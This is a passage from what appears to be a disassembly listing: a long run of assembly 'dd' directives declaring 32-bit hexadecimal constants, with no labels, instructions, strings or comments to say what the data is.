		dd 29805FD8h, 0FE81B8D1h, 26031487h, 1C50C476h,	25671E4Fh
		dd 0BCDB1674h, 9780051Ch, 80E11806h, 1BD9304h, 5E15EA81h
		dd 57472071h, 0BA47009Fh, 28AB3593h, 4BBA893Ch,	886E0713h
		dd 18472F5h, 8A168279h,	7910A1F9h, 5E5A1CB0h, 5127685Dh
		dd 30B5A43Ch, 7A16BFBFh, 0E280A24Ah, 4BA14397h,	247E35Ch
		dd 0A668DFF7h, 9074658h, 146FE957h, 87930CD4h, 9C5E58F0h
		dd 9602529Dh, 5A0971ECh, 295E7A73h, 12D460CBh, 29F90B2Eh
		dd 8D92ADF8h, 0B542ECBDh, 0E927F14Eh, 88AA4078h, 4D05EED5h
		dd 3516342Ah, 93F8B20Dh, 0FBF15F0h, 2E357E39h, 0A0BAFDECh
		dd 1688C55Fh, 90DD4BBEh, 0CB693EBh, 0F101BD14h,	76DB07A1h
		dd 31623D81h, 806361CEh, 7B91D93Eh, 6448388Eh, 0BF242C25h
		dd 5F7AECECh, 0F89AF0CAh, 0AC9CD73h, 0E147D239h, 9AE02675h
		dd 0A582BF4Fh, 0C77E080Ch, 0D82EA248h, 96FCD35Ah, 899855Eh
		dd 0B8319577h, 0BA2D4308h, 0E6579C02h, 3C535838h, 0C129892Fh
		dd 0EF304ECFh, 0FEB102F9h, 203E68E8h, 0F192D5F1h, 0A09813AAh
		dd 3A04613Eh, 0C729399Bh, 789519EFh, 25907F21h,	19C8310Ah
		dd 0F6585250h, 7AF3778Eh, 6D12545Eh, 0F62307AAh, 66DE52D3h
		dd 63F3015Dh, 0FA39F030h
		dd 0E41E3E13h, 740FB493h, 9D555B40h, 0AA438A13h, 99B0C380h
		dd 3FF02BEBh, 92C6957Dh, 0A2E7145Ah, 0A2BF3222h, 5D9B76C8h
		dd 0A1C98E18h, 1046182h, 0AAC1CEE0h, 127C48A7h,	8F6C3F11h
		dd 845E579h, 0E74461ABh, 6F326B8Ah, 0B7095FD4h,	0ADC59B54h
		dd 0E9769E57h, 733D09ECh, 0F5001686h, 0B7A1DE0h, 0DCE94F09h
		dd 0A5DF5B90h, 0CB021476h, 61758A31h, 0DAFCFB1h, 770F73C0h
		dd 0AD088B82h, 0CE740CC2h, 0F901265Dh, 86DD2E8Bh, 0A7383268h
		dd 0B5874420h, 0E8056160h, 0A6D36308h, 0FEAD3901h, 9A41345h
		dd 56E1C8C9h, 50EABC54h, 0A2B50E68h, 0D6C9CD7Ch, 56486B17h
		dd 2580AE08h, 0F32212C6h, 2D85027Ah, 0C4806D50h, 1B043DEEh
		dd 0F4C3865Fh, 44F1CCE9h, 0A36A60DAh, 8CDD8247h, 62B13083h
		dd 0D3C50A92h, 159C0341h, 0B3D21EEh, 0F0E92C43h, 6799E95Ah
		dd 72FDEB8Bh, 92D58689h, 0DF884B8h, 798350D3h, 0B688253Bh
		dd 93BC2F51h, 5AE5205Bh, 8CFFB4FFh, 0B958284h, 0FB9C5C9Dh
		dd 1657C6EAh, 0DE291E4Fh, 4BE22DE9h, 8239A890h,	0E8A210D9h
		dd 0D9C313DFh, 0E5100149h, 0F96D644Ch, 5547467h, 77163D0Fh
		dd 298F4942h, 2DC7DEBAh, 68EF6069h, 8A604B3Eh, 4E6C6853h
		dd 0A46CE925h, 6160F71Ch, 0DF689F56h, 0DC8C3E0Dh, 1AE5BCB8h
		dd 7CA035BEh, 2D783B77h, 0E6A22976h, 98890806h,	0BAD8F72Eh
		dd 9DF41F17h, 70EE0E05h, 92AE043Eh, 0E4257284h,	0DB9F3C76h
		dd 54554225h, 5B5259FCh, 0B3AF0936h, 0FCCD1CD5h, 81529442h
		dd 0B21B0C6h, 0FD9A9829h, 0ABB16h, 8172EF60h, 79F2D0C3h
		dd 89DB9D51h, 25B6E99Dh, 0A79C5B31h, 27BF94E6h,	30F084F4h
		dd 61E918C3h, 5AED858Dh, 6C663819h, 0AFD47C0Ch,	5D509734h
		dd 542712C5h, 707B87FFh, 0DE0CC6F5h, 5DE10395h,	0ECA40458h
		dd 0F823BF1Ah, 8A07CF1h, 0D4BE0B8Bh, 95EAFAA5h,	8469D173h
		dd 6E97B97Fh, 4B4AAE41h, 0A725E03Ah, 3736791Dh,	30FE182h
		dd 843C43F2h, 6DBEFF94h, 9636640h, 5D7291E9h, 0BFBD1B18h
		dd 6ECE541Fh, 2AA024B9h, 0D84F4983h, 7E85D540h,	102728BAh
		dd 0D2AB74EBh, 8B1495h,	572CD5B9h, 8C7DE95Dh, 8244595h
		dd 0B00E5E3Bh, 25C7E4C0h, 0D839CAA3h, 5758C21Dh, 3D2ACF10h
		dd 748FADE9h, 806FEF4Ah, 0CB9E4173h, 78516264h,	0FCD8D7CDh
		dd 9149133Eh, 4206A12Bh, 16689F09h, 4488AB3h, 0CA011A97h
		dd 7AA66164h, 61A4D5E1h, 441B0A74h, 2945EFE9h, 4E28BABBh
		dd 0FFB54079h, 0B1AB7750h, 0C15F8092h, 0B65CC605h, 0D7DE42FDh
		dd 0C1855EAAh, 404FCBF3h, 0F72F203Ch, 8E94BD2Eh, 16611C08h
		dd 5E3ED266h, 5A0B3058h, 562C3A68h, 81207AC8h, 41464457h
		dd 0DEB184BFh, 0BBACC880h, 6F71FDB9h, 0A18F803Fh, 2C1AE350h
		dd 5DF3EDE9h, 6A9A96E0h, 8164CF00h, 6568F2E5h, 90489767h
		dd 0F0251B99h, 3CA4F48Eh, 14D439F3h, 67FC9E27h,	9F19B48Ah
		dd 0AA0852E5h, 2CBF004Ch, 8168AA49h, 0B6D8C704h, 84859755h
		dd 0BEB89B94h, 3162B304h, 0D14F9826h, 9FE4EF7Eh, 41BE3216h
		dd 6809C48Ah, 0DBF907F8h, 0F47E9689h, 78486B6Fh, 0B194015Fh
		dd 0A2E07717h, 24D32766h, 70EB4EE0h, 429B14D6h,	6813A661h
		dd 38E9C414h, 0DE4C8BB5h, 401026Ah, 7BDC4E3Eh, 0C522C368h
		dd 0A920EE04h, 0DFD0E14Fh, 27A52105h, 2F69311h,	0E42D662Bh
		dd 0B9E91394h, 2FDBFDF4h, 0F7E8C26Ch, 21BD7F1Ch, 4D21E9EBh
		dd 0FE39C87Bh, 0B9429D60h, 2E7723A1h, 4FE8165h,	0C0059170h
		dd 0FF184B41h, 0EC015EB6h, 3125212Ah, 9EDF3C8Bh, 77D1E890h
		dd 402D521Ch, 0C6642480h, 0E054842h, 761966A1h,	5D8359A0h
		dd 0EA4AE9F8h, 53584981h, 0C42B3FDDh, 50EF98EBh, 0A08AC4BFh
		dd 727B0B31h, 3F01453Dh, 7C962F74h, 60892236h, 1A82F207h
		dd 1FB23090h, 0DAED4BC5h, 96CB7454h, 9FCC54Ah, 387413F8h
		dd 8530CCBAh, 28C802C2h, 0D4B17B4h, 610000Ah, 817AE566h
		dd 2BD7E204h, 0C4EE47E3h, 0E8C9082Fh, 2564011Fh, 44FCD912h
		dd 10C748C6h, 0CBF85D4Bh, 2FCA1B1Ah, 21987864h,	6A04F197h
		dd 0E88E34D7h, 86DCC42Bh, 0C7ACBC12h, 8BD4FA01h, 6C3C4BF1h
		dd 0CEA53B3h, 28EB35B0h, 17144505h, 0CB07BE56h,	9D43193Ah
		dd 81815088h, 1105A08h,	2230D2ABh, 3B202D60h, 0EA29E44Ch
		dd 8166C5FBh, 9DDC89A0h, 0F7CCC2E1h, 0FCD6A5AFh, 0ACF24E94h
		dd 0D6E2E7B9h, 5960A9ADh, 5BAFA8DEh, 0F1EBD906h, 0C27D8102h
		dd 17C83FE4h, 0EAC50A3Fh, 3CE90508h, 105DCB8Dh,	0E04FD17Eh
		dd 0D00528E6h, 762C5A66h, 25DE04FAh, 71AC13C8h,	0A3E38D13h
		dd 3E812888h, 3557E197h, 0E9CFE439h, 9C5D3869h,	8C82B4D3h
		dd 0E29BBB2Fh, 6643B70Ch, 9AD61657h, 0D82580EFh, 0C3E9B5DDh
		dd 6CACF03h, 0F1D580DDh, 0A02ADEACh, 9459CEB5h,	1E7E6B87h
		dd 5BB7E950h, 741C47B2h, 0EA640430h, 8D13C18Bh,	97F1A895h
		dd 366A1429h, 0E9190DE7h, 0C75D6E56h, 1226CFD8h, 0B9FA89B0h
		dd 606FC9FEh, 15F430FCh, 0F4E5285Ah, 0C5A02F9Ch, 7975E959h
		dd 33F8FBD3h, 0B8220973h, 4600CE0Bh, 25B445EDh,	5E5B92B0h
		dd 5627AFF2h, 2992A9D8h, 0E1D4882Dh, 3B685A5Eh,	7C32023Dh
		dd 0CC5F6608h, 5C3920AEh, 6AED284Fh, 0CFD5EB30h, 0AB192499h
		dd 0EAEC476Fh, 685C9C2Fh, 911A732Eh, 6E5FC2C0h,	0E1D1265Eh
		dd 541404AFh, 380DA803h, 398E9045h, 36109B06h, 0FF080C1Eh
		dd 23FB704h, 2764A4B1h,	0F453EEA6h, 7F2AB91Eh, 8B7AA57Fh
		dd 0DE105D6Eh, 3C4E7B0Fh, 620C0F00h, 0BF09333Dh, 0BCE0ECCAh
		dd 1D1339B9h, 23AC2E08h, 0D4050CD9h, 26C7ECF4h,	26C5E5D1h
		dd 0B9512ED0h, 791B12ABh, 8E3A014Eh, 3C03295Dh,	0FB48758Ch
		dd 78D2B411h, 45E55750h, 5809A425h, 10B7DBABh, 5827A134h
		dd 90464A2Fh, 5F4C9ED0h, 252C8BD5h, 6CFC5B22h, 9443CB9Eh
		dd 68040DD9h, 1FF92933h, 0DF96F320h, 466A263Ch,	0B33796A7h
		dd 569492EFh, 0CC1AE189h, 593E3607h, 0A313AF4Eh, 8175C912h
		dd 0C1D85665h, 8AB20485h, 0B119E9A9h, 48EA3565h, 519288C6h
		dd 4FAC314Ah, 0E977B316h, 106F4839h, 0B5036F97h, 93C2804Bh
		dd 2EAFEA83h, 161259ACh, 0AC83DAE0h, 40A941B4h,	510252BDh
		dd 81087E68h, 9A49C149h, 0C9835D7Ah, 81722B60h,	0E314671Ch
		dd 3E5C187h, 924C33E5h,	69E83859h, 38FCF9B3h, 0BE2DA27h
		dd 8573D0E2h, 523C1605h, 822538B8h, 0B846B140h,	0FD5B0977h
		dd 22DDDFF6h, 25355A1Bh, 8906F031h, 0E1F2DE4Ah,	3254207Ch
		dd 1B01BB79h, 0E3D1102Eh, 5371EBC1h, 6CEFCCh, 0DD098726h
		dd 2FD685Bh, 1FD253DDh,	0BA2D5AEDh, 1D81BA8Eh, 60233C5Ch
		dd 0FD04791Ah, 0FCE92C42h, 0DD5EF0D2h, 0F82C5947h, 5B0820B8h
		dd 0AE019521h, 6857C602h, 0B465D25h, 182D4190h,	71AD18AFh
		dd 0E5BF8076h, 46595400h, 15FFD29h, 97EBFED5h, 2154F042h
		dd 91BBF153h, 52689E9Dh, 0EE8907h, 0E0453FDFh, 644A214Ch
		dd 39FB66E5h, 5B1766FCh, 5C966AE0h, 2A8124D5h, 256C5D19h
		dd 409A0147h, 3DA36BB2h, 1503098h, 4F342E2h, 68A2C0AFh
		dd 14AA0903h, 54954ADCh, 0D0EC62F3h, 0CB344105h, 76F9C831h
		dd 0AC1A172Eh, 56DDE26Eh, 0ACD92FFCh, 2551962h,	0B0F55F54h
		dd 250163E4h, 91E04AADh, 680E5051h, 0E04F1D15h,	420E3558h
		dd 487601FAh, 0B75F7405h, 0EF31EC26h, 8965B207h, 0CD7358C1h
		dd 17EA0559h, 807DBC30h, 6EF51E3Fh, 0FD016A03h,	19CC1E9h
		dd 26DF79Fh, 97574339h
		dd 8CA55FF7h, 25461D30h, 67F0274Bh, 0E009B70Fh,	7FDFC13Fh
		dd 843A7EE3h, 93071070h, 0BEED828h, 513D1BCBh, 74104789h
		dd 374B2D68h, 0E982E3EDh, 9348B34Ah, 0FE0634C8h, 5BDF095Dh
		dd 963C079Ah, 0CB012E85h, 4589300Bh, 63B80F68h,	662D5531h
		dd 2902C68Ah, 895D4969h, 8E8966E1h, 0F605825Dh,	9E4D754h
		dd 0B84A5D76h, 7651F8C2h, 144B5C7Bh, 37B1B1F8h,	9A46AD6Ah
		dd 0F04057F1h, 4FC14C52h, 353D0EF1h, 0B0CD89D0h, 2CB7495Ch
		dd 92EE3137h, 1BC8985Eh, 5600F725h, 0BB534EEFh,	4A0B0282h
		dd 0A3BF0F20h, 2E2D2D90h, 9297B688h, 0A0F662F2h, 7CFCE7EBh
		dd 0E33050D7h, 2F0F2C4Eh, 0F7EF00D3h, 0E9AAF6EBh, 160CF559h
		dd 0F4145F59h, 4E862F77h, 53522687h, 4C4D0512h,	0C006EE48h
		dd 3C941DD6h, 5092F281h, 0F0EBAEDh, 1A9A006Ah, 0D789C6E9h
		dd 0C404B84Ah, 510995ECh, 0A613AC8Eh, 0EA8606D6h, 9708DDF6h
		dd 0B683A44Eh, 539506F6h, 0B6F62585h, 51C6F201h, 0C23FD188h
		dd 905DAC3Eh, 3B9BD24h,	83392A6Eh, 0CC1801C5h, 8593515Ah
		dd 0C3818031h, 0C926E609h, 9ACD804Dh, 0B5634C6Bh, 1D3082F8h
		dd 535B8B1Fh, 28851DB3h, 9960A5DEh, 6880D8AFh, 0FB753144h
		dd 4402C58h, 39560FBEh,	0EC01F304h, 57D005ADh, 0DCC225A8h
		dd 303D7ECEh, 4CA1CB1Ah, 43371F1Dh, 6AF6E3C0h, 0E2E92650h
		dd 88A295CDh, 5552888Eh, 0B4ADFA9Fh, 6D425227h,	69305Ch
		dd 0BE68525Eh, 96FBC94Eh, 80291526h, 133F64BDh,	9F56EA7h
		dd 0FC6BC4CAh, 665022B2h, 9FA26EB7h, 6062BED1h,	5CCD64DEh
		dd 640FEB55h, 8FA4FA31h, 0B0AE884Fh, 256E7507h,	0DD3CA89h
		dd 0ED1B0697h, 0C401D61Eh, 3BB2EB4Eh, 60BAFDC6h, 9DE00D3Dh
		dd 354003BEh, 2D4AA16Ah, 106812B2h, 7772A0F7h, 45A2F14Bh
		dd 0A68656DAh, 68001033h, 744C29B0h, 0FAC30958h, 0AC624FB1h
		dd 38688288h, 71E1760Bh, 40224257h, 5A3982D5h, 50DBC24Ah
		dd 7D66BFD2h, 92E4D24Eh, 3B68411Eh, 0F8CCE5E1h,	0A4135E2Fh
		dd 27B10BBh, 2D586214h,	84925806h, 0BA001337h, 1996604Fh
		dd 4CA2F89Dh, 0BD5B2F12h, 5A084042h, 80205E60h,	7E19FB47h
		dd 80C8201h, 111D871Ch,	0C95E714Ch, 733D5C65h, 25744F1h
		dd 8AE07501h, 393E38C2h, 96F3927Ah, 56C098EDh, 602B6FBEh
		dd 0EDC50F4h, 26E105C5h, 165E16AFh, 6F4BA7FDh, 4ADBCB41h
		dd 0C2207CA1h, 0E969AB6Eh, 0CF043A85h, 8000677Bh, 0D3284DEBh
		dd 88D1C59Dh, 68065C56h, 20CF0A5Fh, 6EA0201Ch, 98270A0h
		dd 0A86E009Eh, 5F368A7Ch, 0C2D8804Ah, 5528A602h, 0B10B9DA3h
		dd 7547890Dh, 0EE9FC05h, 0CB3D5A08h, 6621438Ah,	2AF7382Ah
		dd 0BF8DBBE0h, 0A09D8A6Eh, 2C68FC8Bh, 51F39779h, 5A490CA0h
		dd 0E95204E3h, 6CE28528h, 0CB95101h, 3F3BAB19h,	0B950B1C3h
		dd 0C844A78h, 0C17A0E3Dh, 2EB33E4Fh, 680B33A6h,	0EFE64101h
		dd 1DEC555Ah, 0FEF9E9A0h, 0CF3170C2h, 27397459h, 0E97870FEh
		dd 0F36659B5h, 4005DC4Ch, 80449418h, 435A5D44h,	0F817C4Eh
		dd 1D1BCAFh, 508DE22Bh,	7CD2A087h, 744EA90Bh, 0FE878CC7h
		dd 0A184D70Ch, 0C43BAF3Ch, 2B8682B6h, 5A1F9F5Eh, 75285889h
		dd 8668F238h, 6D246A4Ah, 36E044BBh, 93ADA8A5h, 78E57DFAh
		dd 67E6A520h, 33145925h, 0F897E0E6h, 60FD4120h,	4440A206h
		dd 0D5789556h, 0D2162C1Dh, 0EFBE58A2h, 0C9A82D1Ch, 8F1A0883h
		dd 0C0AEC55Dh, 59CBF4BFh, 4201BE2Fh, 5A057E55h,	0F90BBB7Bh
		dd 0EA6E935Fh, 42857159h, 0ADFBC821h, 802C722Dh, 9168F8DCh
		dd 82D9AD49h, 0BDB8D2EBh, 0E2013AA4h, 51FD4BAh,	6591E930h
		dd 0DFF79944h, 19051A80h, 936B804h, 0F61409E7h,	7CEF9B80h
		dd 64B86BFAh, 4F66412Ch, 0EE20EF51h, 688B5C57h,	1249BE96h
		dd 51BD85Fh, 0F73D0637h, 50D8BED3h, 2029BF69h, 8456C724h
		dd 259EE938h, 6993541Eh, 2B62F7FEh, 8D60A72h, 5A00C11Ch
		dd 0E1F7605h, 0D614F67Dh, 6B4E014h, 0A55EABB0h,	0D76F85D2h
		dd 685D01B0h, 0A9912FF3h, 8004C6D6h, 6E164BA5h,	0EE816C03h
		dd 8D43C903h, 0E068C5AFh, 0C00E56Eh, 504F5B05h,	73066B8h
		dd 0C5317D2Fh, 4961FE58h, 3E61E679h, 3ED110Eh, 5C4DD508h
		dd 680B4AB6h, 0C4E612E2h, 0A82F9C09h, 1650903Ah, 41C01574h
		dd 0E9098029h, 5FFAA058h, 142F321Eh, 3868E277h,	3498F03Bh
		dd 9395C69Bh, 0C09CBCA3h, 7FBFA73Dh, 0CE9EF0Ah,	2D87BDF8h
		dd 1432568h, 58A8E2C8h,	567095CDh, 2F71EB09h, 0D5B9A265h
		dd 0FF7C0B0Ch, 0B3BD924Eh, 21A7F612h, 692810BFh, 82B54F08h
		dd 0A53FD1EDh, 3BABD936h, 81A4D61Dh, 0EF2D8E4h,	12CEF993h
		dd 0DA43943h, 6EA16428h, 198C509h, 0F13CF432h, 3080045Bh
		dd 762C1620h, 7EEB1E14h, 18795825h, 42030ADh, 0DA6D0473h
		dd 0B0218674h, 0C5A8050Bh, 5F14FE31h, 27F4F709h, 0C83E60D7h
		dd 60778221h, 71E181D9h, 2E111208h, 0CEE6C651h,	0F1A6E905h
		dd 12FFE3CDh, 219ADB4h,	16210E51h, 4676625Eh, 0A4EE2EE6h
		dd 0B819F32h, 6986029Eh, 0BB9EED95h, 810787BCh,	4742B0C9h
		dd 0FD3CC016h, 0FC1BE476h, 0F2C84BE2h, 70351F4Fh, 4819BF40h
		dd 257A2925h, 6FFC015Fh, 0BAC2C054h, 2D640791h,	7A7B69B5h
		dd 0EBB7DCFAh, 9E1004h,	30A8ABAh, 0D2F71676h, 0ED60FA42h
		dd 4A706361h, 88490447h, 3372A4C6h, 40BEF7C0h, 902B4A3Dh
		dd 78216B1h, 2101BA4Fh,	71EC6231h, 0FFEEE13Ah, 460C2B98h
		dd 4C9394Ch, 44566899h,	0FC1064E9h, 0F6057E50h,	212EAEBBh
		dd 996C1BAh, 0A7282B9Dh, 0D5B45F25h, 8DAB8238h,	7E256359h
		dd 16577265h, 7D5A5FAh,	0AA521D8Fh, 2762708h, 380508A0h
		dd 114C077h, 11C64EAh, 0DFE9510Ch, 126D32ACh, 2DABA907h
		dd 0EE641182h, 580A9284h, 76689C42h, 62E3F43Dh,	0A60E9B32h
		dd 0A629Ah, 8445A768h, 0E7C15F72h, 0F1024Ch, 26B49232h
		dd 4DE9FB89h, 0BF030F67h, 13DF729Ah, 83B02A5Ah,	0A1C4B56Fh
		dd 274179F0h, 40B88060h, 0ED39804Bh, 78C59CB9h,	0F913EB12h
		dd 73B44712h, 40E6F002h, 0DE58F769h, 78F10595h,	43801C5Fh
		dd 49827B68h, 292AC4C5h, 0B3892DF2h, 0EAEE26C4h, 0F5C814B0h
		dd 0E189697Fh, 7048FA81h, 0EABF4146h, 6A03F0B5h, 82BCE92Dh
		dd 765954E5h, 0C9E9D017h, 4F950FB7h, 25B48FE1h,	8A40DA96h
		dd 2FBE69D1h, 0D1F95B89h, 2F27B008h, 4B7294F7h,	10B6ADD3h
		dd 571761DBh, 80500B54h, 60054F11h, 3AB74E75h, 0FC307848h
		dd 103C6018h, 0D828DB2Dh, 0A7A2084Eh, 8D10DFh, 0B4DEDBAh
		dd 0A0E2C163h, 1D9FCAEEh, 8065690Ah, 982385C2h,	0FB25E970h
		dd 0BDE8D3A9h, 9F5487A8h, 12BF1CD3h, 0DB41B476h, 629D216Eh
		dd 4C74E4E9h, 0FD90C14Dh, 3BE3B5B3h, 103FCCA1h,	589AA34h
		dd 16A81254h, 0BC8A9720h, 4D2A88A9h, 0CAC5E3Fh,	4A23F380h
		dd 0E2A303FBh, 0BA264632h, 5EE2A418h, 0D68CD7FDh, 0E12EE9CDh
		dd 58AF752Eh, 0B4575069h, 860E9640h, 343B442Bh,	0F17500B5h
		dd 4CAA2532h, 0D907E175h, 53477959h, 0F3048C55h, 605EB3C6h
		dd 0A76A2BD1h, 9454747Eh, 5C9C2C91h, 5A135148h,	8DB5DFEDh
		dd 0C8FC41D4h, 0FF060445h, 0D2ECAFA7h, 0CEB1A0Ch, 30B2C75Dh
		dd 53D9B86Ch, 517C400h,	1E6F7186h, 55362FE9h, 412EE320h
		dd 0F1B77BC1h, 4A13074Ch, 0C1EDA565h, 0AC645E94h, 4FBC6264h
		dd 0DB59634Bh, 97F49F0h, 722FF9Eh, 5E0BA913h, 0C6BD3980h
		dd 4C844E72h, 496060E2h
		dd 0AE4B3CF6h, 9A129B8h, 0FA060528h, 5F3C059h, 0B85BD9EBh
		dd 54C0AA3Ah, 0BFC38343h, 144D4980h, 0DAEEFE30h, 7E7BB29Dh
		dd 2DCC6870h, 31C957D9h, 1C3D21F4h, 0A7600212h,	5D2450DEh
		dd 0BFA3D15Fh, 82C74B79h, 9AA221D3h, 65DEC9F8h,	720F508Ah
		dd 0E7D3D602h, 808A77F7h, 0EA021623h, 0BFBD2538h, 1D0998C6h
		dd 2E25177Ah, 0AAF17657h, 89BF0B04h, 9BDF60E0h,	6E2C5B80h
		dd 0D00F4AF6h, 0D4AA4BE5h, 1F4FFC28h, 7D1A3D39h, 7F9AEA5Eh
		dd 0BE563E83h, 0D4132FFh, 0B439617Eh, 0B1828E8h, 0B745E928h
		dd 0E601DA0Fh, 3F04FD14h, 6C202904h, 3A31DDBFh,	167BBDF1h
		dd 94342088h, 315F8F66h, 633846A6h, 0A80C7FC1h,	4C2FAAEDh
		dd 60022E25h, 5E4BBB23h, 308921F6h, 82B77169h, 76896855h
		dd 0E04D0809h, 3CE098B5h, 2FDB0B05h, 88D5EE14h,	0E52F3CACh
		dd 0B4E90440h, 5B60079h, 0F491F680h, 0C6DF49ADh, 0EC4B9B58h
		dd 2D2DA50Ch, 0D4961842h, 0BEBF17ABh, 1CBC3457h, 5D5F080Bh
		dd 0AD739858h, 0E91D1709h, 5AD3D21Ch, 9ED7A8C1h, 5849A2D7h
		dd 7A2A04C8h, 0F873500h, 567B19D5h, 0A097FBE4h,	98790C98h
		dd 84295F54h, 58080B9Fh, 22FC771h, 0B05E8F9Dh, 2F06CCh
		dd 0B056A6Ch, 0E90A034Dh, 56B53CF9h, 12503EA7h,	38F2944Ah
		dd 562B2678h, 86D5984Ah, 0B63E7A7Fh, 99549271h,	2194EDB9h
		dd 0B92B165Fh, 70018984h, 0AF59B799h, 5B6EF66Bh, 6490FA10h
		dd 502D14Ah, 0E2492017h, 0D35B5027h, 34A182D5h,	82FD6E6Bh
		dd 0DF4A2F3Ch, 0BD049F09h, 686B9139h, 0B2166AC0h, 30832DBFh
		dd 0CD9CB30Ch, 68B0D488h, 1569CAFFh, 5B2DD6B6h,	0B0A08FD8h
		dd 0E22C6A5Ch, 6B16FC31h, 0EDD327A8h, 0F7810133h, 37CA4C0h
		dd 2DD9A06Bh, 615B719Dh, 4A3A88E9h, 0B95100CEh,	0A5062C7h
		dd 0EF4F0BBAh, 0A2004959h, 4EB66040h, 0A84B18B8h, 45097652h
		dd 0CADA9AADh, 93413B9h, 0A81FE959h, 0A060AFD4h, 9569BE55h
		dd 0EC98C6D8h, 5A85AB5Ah, 5CF077F8h, 6A5EC268h,	41A5DD8Ch
		dd 0DC1CCDB2h, 10B53335h, 5AF76833h, 5ABFB355h,	0F6963DF7h
		dd 14F7154h, 6D232B2h, 333F3449h, 7C38EB7Eh, 9A688D70h
		dd 5BE93D3Ch, 43B28C7Ah, 4A062C5Dh, 2C7ADCA9h, 52128A95h
		dd 0A5CC8D82h, 0D8ACBADBh, 85B055E5h, 78F40468h, 0FE5D42BEh
		dd 0B3D70A5Ch, 0FA2B8409h, 48940BA1h, 0ACAEFDAFh, 17FDF26Ah
		dd 308BE3F6h, 5B66A126h, 3FB45850h, 19F80F27h, 327AFC94h
		dd 0F84075EFh, 0A3C9712Fh, 282C788Ah, 0BF6EAD1h, 36271E94h
		dd 2EF8FD6h, 0F88868F9h, 7F47B5F4h, 7165E906h, 0EB292BACh
		dd 37F3818Bh, 3F27D74Eh, 4176B2B4h, 1C613A80h, 0AB25881Ch
		dd 0BD5AB42Ch, 2F804273h, 0F55EE278h, 0DCA7696Fh, 47017095h
		dd 0E925229Fh, 6C30FDFDh, 7AE26EEBh, 9D04535Ah,	0BD135BF4h
		dd 14EAA270h, 53892591h, 7D702BBh, 0BA027D45h, 50047669h
		dd 0BCE2C4EFh, 41F42D3Bh, 2BECBBE9h, 970350D7h,	5A5018E4h
		dd 7B6E0C41h, 9D428D2Ah, 2C056812h, 0A98AA8F4h,	3402EEF7h
		dd 689998D5h, 0F31C4EDEh, 2AC10ACh, 975F5D1Eh, 0D661AAEBh
		dd 1392D921h, 173FCA5Bh, 84A49968h, 0F3B85A7Dh,	455C2D13h
		dd 0ADC50183h, 2A09CE72h, 8166DD4h, 0E958DC18h,	362B7F5h
		dd 5CE292F6h, 2B13DF61h, 107526C7h, 6866AC07h, 574B214Bh
		dd 0B506021Eh, 6A496830h, 84A2E4Dh, 2D03408Bh, 0A205C889h
		dd 58C2318Ah, 0C3D89AACh, 63260DB8h, 921DE240h,	2106FB80h
		dd 4FDAE9F3h, 0B0AFD653h, 0B43D9BDh, 52AFBECAh,	25256827h
		dd 998DFB37h, 4FA3BAF0h, 38DAB074h, 0C4533A5Eh,	0D2E30207h
		dd 3058DEC9h, 4306EA12h, 6DB835FDh, 5FCA8417h, 0C73D30EBh
		dd 923B659Ch, 67EF023Ch, 776C7153h, 0A08F728h, 86930368h
		dd 0ACF006E9h, 54D0B904h, 80FE26DCh, 60461878h,	580B2BB0h
		dd 0D91AE763h, 6168051Dh, 0DC62FF43h, 4219D17Dh, 8902D0FCh
		dd 583BD4C5h, 14B8E821h, 3CD0D54Fh, 4FC5BDDFh, 316B81D4h
		dd 8E346BF1h, 0B3D44FEh, 0DA281EF4h, 0A71FC59Dh, 77FF5C8h
		dd 5AC1CF5Fh, 273F61B9h, 58C58304h, 7BB8107Ch, 28A83050h
		dd 4B71289Ah, 534FCC1h,	0EC6855B4h, 75AF340h, 2979C123h
		dd 82BDC0DAh, 20394006h, 0F33B27E9h, 0FC2B8850h, 98812117h
		dd 0EF3D3892h, 960ACBDEh, 449D19E4h, 14F64CC1h,	0E48A1817h
		dd 1DFE0233h, 84FDFBAh,	0E229B30Bh, 9E8DA19h, 2C463A75h
		dd 0F06D22DDh, 604F7CD9h, 431BE3FAh, 801E4295h,	54489AC5h
		dd 2F5FE60h, 0AA7773DCh, 0B364EF29h, 5AECC120h,	5F6C88BBh
		dd 61306E5Eh, 5BA1644Bh, 5ABDAC0Ch, 0A82AB0B9h,	0C28000EEh
		dd 5AD788B5h, 0F8F140B1h, 0F97D2819h, 0D0A0C175h, 7B972673h
		dd 0B8688497h, 1ADDFF11h, 57BCE42Bh, 81DBE924h,	0F4E25396h
		dd 4F46E8C0h, 0E8C15D52h, 49153CE9h, 4703607Ah,	6A01B12Dh
		dd 0C8C1EE81h, 846B1412h, 4001AE28h, 0B1199C11h, 0D8319131h
		dd 0A2C300CEh, 0FB76D07Dh, 11D07FF5h, 7FE9D901h, 0B3F6D7E2h
		dd 0DF891F3Ah, 98CD48h,	0CB0D18BFh, 0E105BE7Eh,	29F71B25h
		dd 4BFC4C4h, 0F219DD44h, 0EA099F19h, 0B71AD210h, 1224AE58h
		dd 36081388h, 18792D9Fh, 831014Bh, 0E42EFEE9h, 60B5CA5Ah
		dd 0BDFB1389h, 74E0CBD0h, 56193318h, 0F09C40Eh,	15BE1D22h
		dd 314A8841h, 0F2D82ACEh, 2D0B0AE6h, 0DF94286h,	81084E08h
		dd 21D7CE1Ah, 0F6D83107h, 8C6E0786h, 30F1295Eh,	3BA5256h
		dd 67595F01h, 15AD689h,	0F4988103h, 6000586Eh, 51AEB850h
		dd 2050887h, 44154828h,	2757EE9h, 77586694h, 73067C5h
		dd 4FE9CFFEh, 298680A7h, 0F19D05F0h, 806809AAh,	90309BD3h
		dd 5E6E2086h, 1804423h,	0F5FDFCBCh, 0E9C49DA8h,	274B82Fh
		dd 6B7EAABEh, 7838016h,	163CC681h, 0E81A195Dh, 0D4E90C6Eh
		dd 0B285457h, 305068F0h, 0AFB60918h, 79094CBCh,	78AC1A70h
		dd 465E338Ch, 0A7F187A8h, 49853A8Bh, 21F09912h,	0E5DDFF50h
		dd 2D06092Ah, 0FC1DABFDh, 0A5D7087Ch, 24EBC26h,	0E6DF667h
		dd 0B01313F0h, 800264EEh, 99176E9Eh, 48014D3Bh,	20084118h
		dd 7A58C064h, 0C304D33Ch, 0B01802B2h, 0B1025153h, 30EFB3E9h
		dd 5BE156CBh, 2A60FAF9h, 570D7D6h, 579C4AAEh, 5275925Eh
		dd 6E82F043h, 685A30FDh, 926F5322h, 24A0A34Ah, 29898314h
		dd 80304C6h, 680BE7A2h,	0A2F97C2Ah, 20725A88h, 3D23E4AEh
		dd 2E9240ACh, 0F737FE38h, 0AF159392h, 42A51E77h, 0BAEE777Ch
		dd 90115AEh, 68E2D1C2h,	0F64C7EABh, 4ADD0BBAh, 910467D5h
